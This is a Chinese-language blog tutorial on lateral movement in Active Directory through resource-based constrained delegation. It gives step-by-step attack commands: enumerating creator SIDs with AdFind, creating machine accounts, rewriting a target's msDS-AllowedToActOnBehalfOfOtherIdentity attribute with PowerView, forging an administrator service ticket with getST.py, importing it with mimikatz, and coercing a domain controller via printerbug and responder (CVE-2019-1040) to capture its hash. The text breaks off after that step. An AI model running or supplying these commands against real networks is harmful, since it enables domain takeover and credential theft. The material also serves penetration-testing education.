【横向移动】委派安全-RBCD

RBCD介绍

基于资源的约束委派(简称RBCD)是在 Windows Server 2012即之后 新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD 把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来设置 RBCD。

核心利用条件:

获取到可以修改 msDS-AllowedToActOnBehalfOfOtherIdentity这个值的用户或者权限

简单的讲,也就是如果攻击者能够在 data 的机器上设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性为 ServiceA,

也就允许 ServiceA 利用 s4u2self 协议代表其他用户身份来访问 data 的话,那我们就可以做到横向移动及提权等操作。

资源约束委派利用分类:
  • 通过管理主机加入域的用户拿下主机

  • 已知 Acount Operators 组用户拿下主机

  • 结合 HTLM Relay 攻击拿下主机(CVE-2019-1040)

横向移动-资源约束委派-利用域用户主机加入(SID一致时)

利用思路:

计算机加⼊域时,加⼊域的域⽤户被控后也将导致使用当前域用户加入的计算机受控。

利用条件:

1、允许创建机器账户

2、具有管理主机加入域的用户账户

利用过程:
1、判断是否有利用条件:(需要先上传AdFind

查询被域用户创建的机器账户列表:

shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

这里查询显示可以看出SID一致

根据查询出来的 sid 找出对应的用户名:

shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))" objectclass cn dn

这里找出来对应的用户名是dbadmin,如果我们有这个用户的权限那么就可以进行RBCD攻击

2、开始利用新增机器账户

添加一个机器账户,用于申请票据(以下有三种方式

  • 使用 addcpmputer 创建机器账户
python addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Passw0rd -dc-ip 192.168.139.11
  • 使用 bloodyAD 工具创建机器账户
python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 addComputer test01 'Passw0rd'
  • 使用 PowerMad 工具创建机器账户(推荐)但需要上传文件

暂时无法在飞书文档外展示此内容

powershell Set-ExecutionPolicy Bypass -Scope Process
powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

执行后就会发现多了一个serviceA用户

3、利用新增机器账户修改委派属性满足申请访问目标票款

修改目标主机的资源委派属性(data)

msds-allowedtoactonbehalfofotheridentity

获取新增账户的 objectsid

powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid

记住返回的SID值

修改 DATA 主机委派属性:

powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1108)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 

修改后DATA主机的msDS-AllowedToActOnBehalfOfOtherIdentity 值就会改变,即对serviceA 的资源委派,这时就可以借助serviceA 机器对 DATA主机进行攻击(且serviceA 主机的账户密码我们是知道的)

验证和清除委派属性:

powershell import-module .\powerview.ps1;Get-DomainComputer data -Properties msds-allowedtoactonbehalfofotheridentity
powershell import-module .\powerview.ps1;Set-DomainObject data -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
4、利用修改后的属性申请目标请求票据后导入利用

利用 serviceA 申请访问 data 主机 cifs 服务票据:

目标主机上一般没有python环境,代理转发到本地使用py脚本

getST.py

python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

执行完后就会产生一个ccache文件

将他传到机器上

导入票据到内存:

mimikatz kerberos::ptc administrator.ccache

连接利用票据:

shell dir \\data.xiaodi.local\c$

横向移动-资源约束委派-Acount Operators 组(SID不一致时)

利用思路:

Acount Operators 组成员可修改域内任意主机的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。(除 DC)

利用条件:

1、获取到属于 Acount Operators 组的用户账户

2、可以创建机器账户

利用过程:
1、判断是否有利用条件:

查询 Acount Operators 组成员:

shell adfind.exe -h 192.168.3.33:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=xiaodi,DC=local member

2、后续利用同上
  • 新增机器账户

  • 利用新增机器账户修改委派属性满足申请访问目标票款

  • 利用修改后的属性申请目标请求票据后导入利用

横向移动-资源约束委派-CVE 结合 HTLMRelay

利用思路:

绕过 NTLM MIC 校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击

利用条件:

1、能创建机器账户

2、目标开启打印机服务

利用过程:
1、监听:
  • 使用 ntlmrelayx 工具(后续讲到中继重放攻击等)

  • 可能需要搭建代理才

responder -I eth1 -wd

开启监听,记住监听地址

2、利用打印机漏洞(CVE-2019-1040)让目标 3.33 强制访问 3.12

下载:https://github.com/dirkjanm/krbrelayx

暂时无法在飞书文档外展示此内容

python printerbug.py xiaodi.local/dbadmin:admin!@#45@192.168.3.33 192.168.3.12

这后面的192.168.3.12是监听的地址

获取到了DC的hash

  • 21
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值